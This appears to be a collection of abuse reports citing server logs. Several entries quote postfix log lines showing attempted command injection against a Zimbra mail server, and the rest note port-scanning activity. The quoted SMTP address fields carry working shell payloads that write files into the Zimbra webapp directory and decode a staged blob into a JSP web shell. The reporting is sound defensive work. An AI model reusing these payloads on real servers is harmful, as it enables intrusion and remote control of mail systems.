Aug 22 05:06:02 vps-23-07-04-10-57-38-053 postfix/smtpd[19037]: warning: Illegal address syntax from ...
show moreAug 22 05:06:02 vps-23-07-04-10-57-38-053 postfix/smtpd[19037]: warning: Illegal address syntax from unknown[38.54.16.104] in VRFY command: Service status change: mail.test $(id > '/opt/zimbra/jetty_base/webapps/zimbra/js/zm_1787350152.js' 2>&1;id > '/opt/zimbra/jetty/webapps/zimbra/js/zm_1787350152.js' 2>&1) changed from running to stopped
show less
Attempted exploitation against a Zimbra mail server via crafted SMTP input containing command inject ...
show moreAttempted exploitation against a Zimbra mail server via crafted SMTP input containing command injection and a Base64/gzip-encoded JSP payload. Source IP blocked at firewall level.
Aug 21 05:45:27 vps-23-07-04-10-57-38-053 postfix/smtps/smtpd[17394]: NOQUEUE: filter: RCPT from unknown[38.54.108.101]: <x: Service status change: z chmod u+w /opt/zimbra/jetty/webapps/zimbra/js;c=$(cat /opt/zimbra/data/tmp/snmpc_*|wc -c);[ $c -eq 649 ]&&cat /opt/zimbra/data/tmp/snmpc_*|base64 -d|gunzip -c>/opt/zimbra/jetty/webapps/zimbra/js/m9kudoga.jsp;rm -f /opt/zimbra/data/tmp/snmpc_* changed from stopped to [email protected]>: Sender address triggers FILTER smtp-amavis:[127.0.0.1]:10026; from=<"x: Service status change: z chmod u+w /opt/zimbra/jetty/webapps/zimbra/js;c=$(cat /opt/zimbra/data/tmp/snmpc_*|wc -c);[ $c -eq 649 ]&&cat /opt/zimbra/data/tmp/snmpc_*|base64 -d|gunzip -c>/opt/zimbra/jetty/webapps/zimbra/js/m9kudoga.jsp;rm -f /opt/zimbra/data/tmp/snmpc
show less
Observed repeated connections from IP 116.110.41.126 to internal host 192.168.10.254 using multiple ...
show moreObserved repeated connections from IP 116.110.41.126 to internal host 192.168.10.254 using multiple ephemeral ports (17076, 23235, 34178, etc.).
Pattern indicates possible port scanning or probing activity.
Evidence from firewall log attached below:
IP Đích: 116.110.41.126 -> IP Nguồn: 192.168.10.254 | Cổng: 17076
IP Đích: 116.110.41.126 -> IP Nguồn: 192.168.10.254 | Cổng: 23235
IP Đích: 116.110.41.126 -> IP Nguồn: 192.168.10.254 | Cổng: 34178
show less
"Characteristics and signs of a Port Scan aimed at probing open services on port 8200. If the number ...
show more"Characteristics and signs of a Port Scan aimed at probing open services on port 8200. If the number of connection attempts continues to increase, it may indicate a potential SYN Flood/DDoS Attack."
show less